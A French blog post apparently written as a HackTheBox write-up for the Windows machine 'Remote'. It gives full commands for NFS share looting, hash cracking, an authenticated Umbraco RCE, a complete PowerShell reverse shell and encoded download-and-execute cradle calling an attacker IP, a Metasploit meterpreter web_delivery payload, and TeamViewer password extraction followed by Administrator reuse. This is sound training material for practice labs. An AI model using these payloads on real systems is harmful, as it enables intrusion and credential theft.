white.h4t.eu

Ici c'est Linux, plaintext et pentest.

Remote HackTheBox

September 06, 2020 — ebsd

image-20200616153931495

Résumé

  • Windows 2019
  • Fuite de mots de passe via un share NFS
  • Faiblesse du CMS Umbraco permettant une RCE aux utilisateurs authentifiés
  • Faiblesse de stockage du mot de passe de Teamviewer
  • Réutilisation du mot de passe Teamviwer pour le compte Administrator

Nmap

kali@kali:~$ nmap 10.10.10.180
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-27 15:04 EDT
Nmap scan report for 10.10.10.180
Host is up (0.060s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
111/tcp  open  rpcbind
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2049/tcp open  nfs

On identifie un service nfs. Propose-t-il un share ?

kali@kali:/mnt/App_Data/Logs$ sudo showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)

Peut-on monter ce share ?

mount -t nfs 10.10.10.180:/site_backups /mnt

Quelques recherches conduisent au fichier Umbraco.sdf. Fichier de base de données MSSQL.

root@kali:/mnt/App_Data# ls
cache  Logs  Models  packages  TEMP  umbraco.config  Umbraco.sdf

Il s'agit de la base de données Umbraco. Les mots de passe utilisateur seraient-ils accessibles ?

root@kali:~/ strings Umbraco.sdf | head
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
@{pv

On découvre le hash du compte admin@htb.local. Le site crackstation.net le connait déjà :

Crackstation.net

| Hash                                     | Type | Result         |
| ---------------------------------------- | ---- | -------------- |
| b8be16afba8c314ad33d812f22a04991b90e2aaa | sha1 | baconandcheese |

On peut désormais accéder au backend d'administration du site web Umbraco.

http://10.10.10.180/umbraco

Je constate qu'il s'agit d'une version 7.12.4 (via le Menu help). Voyons si un exploit existe pour cette version.

kali@kali:/mnt/App_Data/Logs$ searchsploit umbraco 
Umbraco CMS - Remote Command Execution (Metasploit)                                                                          | exploits/windows/webapps/19671.rb
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution                                                                   | exploits/aspx/webapps/46153.py
Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting                                                                   | exploits/php/webapps/44988.txt

Il existe une faiblesse dans Umbraco qui autorise une exécution de code à distance.

Une rapide recherche sur le web mène à un script python qui permet cette exécution de code.

root@kali:~# wget https://raw.githubusercontent.com/noraj/Umbraco-RCE/master/exploit.py

Après une rapide analyse du code pyhton, je prévois de :

  1. Préparer un revershell de type powershell
  2. Faire télécharger ce script par la victime au moyen de la vulnérabilité RCE
  3. Executer ce reverse shell pour obtenir un accès à la machine
  4. Enumérer la machine pour tenter d'éléver mes privilèges.

Je prépare un fichier rev-shell.ps1 contenant :

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.8',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Je démarre un listener netcat sur le port 443 de notre machine attaquant, destiné à recevoir à connexion retour de la victime.

$ sudo nc -nlvp 443

Je le mets à disposition via un serveur web sur le port 80 de la machine attaquant.

$ sudo python3 -m http.server 80

Pour éviter les problèmes d'échappement de caractères, j'encode en base 64 la commande qui permet de télécharger et exécuter le reverse shell.

$ echo -n "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.6/rev-shell.ps1')" | iconv -f UTF8 -t UTF16LE | base64 SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0 ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4A MQAwAC4AMQA0AC4ANgAvAHIAZQB2AC0AcwBoAGUAbABsAC4AcABzADEAJwApAA==

Execution de l'exploit en passant notre commande encodée en argument.

$ python exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a '-NoProfile -encodedcommand SQB...ApAA=='

Le revershell est téléchargé sur la victime :

image-20200526161204264

Et la connection en retour est bien effectuée.

image-20200526161243636

Le flag user est à portée de main.

PS C:\users\public> cat user.txt cat user.txt 7130ce38b0f1fd9deffd055e1c8e6a2a

priv esc

Passons à l'élévation de privilèges.

C:\windows\system32\inetsrv> hostname
remote
PS C:\windows\system32\inetsrv> systeminfo

Host Name:                 REMOTE
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763

On découvre teamviewer 7. Il existe un module metasploit.

image-20200527215451831

D'abord passons à un meterpreter.

msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set SRVHOST 10.10.14.8
SRVHOST => 10.10.14.8
msf5 exploit(multi/script/web_delivery) >  set LHOST 10.10.14.8
LHOST => 10.10.14.8
msf5 exploit(multi/script/web_delivery) > set target 2
target => 2
msf5 exploit(multi/script/web_delivery) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.8:4444 
[*] Using URL: http://10.10.14.8:8080/VDmNkZYnkbva
[*] Server started.
[*] Run the following command on the target machine:
msf5 exploit(multi/script/web_delivery) > powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABGAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAEYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABGAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AOAA6ADgAMAA4ADAALwBWAEQAbQBOAGsAWgBZAG4AawBiAHYAYQAnACkAKQA7AA==

Sur la victime :

PS C:\Program Files (x86)\TeamViewer\Version7> powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABGAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAEYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABGAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AOAA6ADgAMAA4ADAALwBWAEQAbQBOAGsAWgBZAG4AawBiAHYAYQAnACkAKQA7AA==

Sur l'attaquant :

[*] 10.10.10.180     web_delivery - Delivering Payload (3028) bytes
[*] Sending stage (206403 bytes) to 10.10.10.180
[*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.180:49692) at 2020-05-27 15:14:08 -0400
sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Il existe un module post pour les creds Teamviewer : https://vulners.com/metasploit/MSF:POST/WINDOWS/GATHER/CREDENTIALS/TEAMVIEWER_PASSWORDS

L'ajouter à metasploit :

$ cp teamviewer.rb /usr/share/metasploit-framework/modules/post/windows/gather/credentials

msf> reload_all
msf> use post/windows/gather/credentials/teamviewer
msf5 post(windows/gather/credentials/teamviewer) > set session 1
session => 1
msf5 post(windows/gather/credentials/teamviewer) > run

[*] Finding TeamViewer Passwords on REMOTE
[+] Found Unattended Password: !R3m0te!
[+] Passwords stored in: /home/kali/.msf4/loot/20200527153442_default_10.10.10.180_host.teamviewer__301737.txt
[*] <---------------- | Using Window Technique | ---------------->
[*] TeamViewer's language setting options are ''
[*] TeamViewer's version is ''
[-] Unable to find TeamViewer's process
[*] Post module execution completed
msf5 post(windows/gather/credentials/teamviewer) >

image-20200527215329861

Ce mot de passe serait-il "réutilisé" pour le compte Administrateur ?

kali@kali:~$ smbclient \\\\10.10.10.180\\c$ -U administrator
Unable to initialize messaging context
Enter WORKGROUP\administrator's password: 
Try "help" to get a list of possible commands.
smb: \> cd users\administrator\desktop
smb: \users\administrator\desktop\> get root.txt 
getting file \users\administrator\desktop\root.txt of size 34 as root.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \users\administrator\desktop\> exit
kali@kali:~$ cat root.txt 
c057d1ded1d71fec3eef56223381cd33

Tags: hackthebox

Comments? Tweet